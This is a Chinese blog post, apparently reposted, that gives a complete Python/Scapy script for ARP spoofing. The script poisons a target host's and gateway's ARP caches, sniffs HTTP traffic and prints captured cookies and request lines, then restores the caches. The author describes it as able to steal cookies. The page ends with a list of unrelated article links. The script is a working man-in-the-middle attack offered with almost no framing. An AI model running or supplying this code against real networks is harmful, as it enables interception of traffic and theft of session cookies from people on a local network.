博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
python-ARP欺骗
阅读量:3960 次
发布时间:2019-05-24

本文共 2321 字,大约阅读时间需要 7 分钟。

代码如下:

# 1. 从命令行获取要欺骗的IP# 2. 获取IP对应的MAC地址# 3. 定义MAC获取函数get_mac()# 4. 启动ARP欺骗# 5. 定义ARP欺骗函数# 6. 嗅探数据包# 7. 定义cookie嗅探函数# 8. 恢复靶机的ARP缓存# 9. 定义ARP缓存恢复函数from scapy.all import *import timefrom threading import Threaddef main(target_ip,gateway_ip):    conf.verb=0    # 2. 获取IP对应的MAC地址    target_mac = get_mac(target_ip)    gateway_mac = get_mac(gateway_ip)    # 4. 启动ARP欺骗    t = Thread(target=poison_target,args=(target_ip,target_mac,gateway_ip,gateway_mac))    # 当主线程结束时,子线程自动结束    t.setDaemon(True)    t.start()    # 6. 嗅探数据包    sniff(filter="tcp port 80",prn=packet_callback,store=0)    # 8. 恢复靶机ARP缓存    restore_target(target_ip,target_mac,gateway_ip,gateway_mac)def restore_target(target_ip,target_mac,gateway_ip,gateway_mac):    print("[*] Restoring target...")    # 恢复靶机缓存    send(ARP(op=2, psrc=gatway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff"),count=5)    # 恢复网关缓存    send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gatway_ip, hwdst="ff:ff:ff:ff:ff:ff"), count=5)# 7. 定义cookie嗅探函数def packet_callback(packet):    if packet[TCP].payload:        cookie_packet = bytes(packet[TCP].payload)        if b"Cookie" in cookie_packet:            for info in cookie_packet.split(b'\n'):                if b"Referer" in info or b"GET /" in info:                    print(info)                elif b"Cookie" in info:                    print(info,"\n")# 5. 定义APP欺骗函数def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):    # 欺骗靶机 将网关的MAC地址换成我们本地的MAC地址    target = ARP()    target.op=2    target.psrc=gateway_ip    target.pdst=target_ip    target.hwdst = target_mac     # 欺骗网关 将靶机的MAC地址也换成我们本地的MAC地址    gateway= ARP()    gateway.op = 2    gateway.psrc = target_ip    gateway.pdst = gateway_ip    gateway.hwdst = gateway_mac    print("[*] Begining the ARP poison...")    while True:        send(target)        send(gateway)        time.sleep(2)# 3. 定义MAC获取函数get_mac()def get_mac(ip):    response,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),timeout=2)    for s ,r in response:        return r[ARP].hwsrcif __name__=="__main__":    # 1.从命令行中获取要欺骗的IP    target=input("Input target IP:")    gatway_ip=input("Input gatway IP:")    main(target,gatway_ip)

介绍:

此脚本不仅能实现arp的欺骗,而且能盗取cookie,在该脚本结束的时候还能将网关和靶机的MAC地址还原,因为注释有代码说明,所以不做太多介绍,在windows上运行效果很好,但在linux运行效果不是很好,我太不太清楚为什么。。。

附上一张运行结果图:

在这里插入图片描述

转载地址:http://ayhzi.baihongyu.com/

你可能感兴趣的文章
Windows下关于多线程类 CSemaphore,CMutex,CCriticalSection,CEvent,信号量CSemaphore的使用介绍
查看>>
图像处理基本算法(汇总)以及实现
查看>>
C++编程获取本机网卡信息 本机IP 包括Windows和Linux
查看>>
C++连接CTP接口实现简单量化交易
查看>>
服务端使用c++实现websocket协议解析及通信
查看>>
C# string.Format使用说明
查看>>
Linux下安装Mysql数据库开发环境
查看>>
Linux用户及用户组添加和删除操作
查看>>
通用 Makefile 的编写方法以及多目录 makefile 写法
查看>>
C++的4种智能指针剖析使用
查看>>
RPC框架实现之容灾策略
查看>>
Docker私库
查看>>
hdu——1106排序(重定向)
查看>>
hdu——1556Color the ball(树状数组)
查看>>
hdu——1541Stars(树状数组)
查看>>
快速幂的精简代码
查看>>
求大数乘方的前n位数字(对数加快速幂)
查看>>
hdu——2602Bone Collector(第一类背包问题)
查看>>
hdu——1711Number Sequence(kmp专练)
查看>>
strstr函数和find函数的异同
查看>>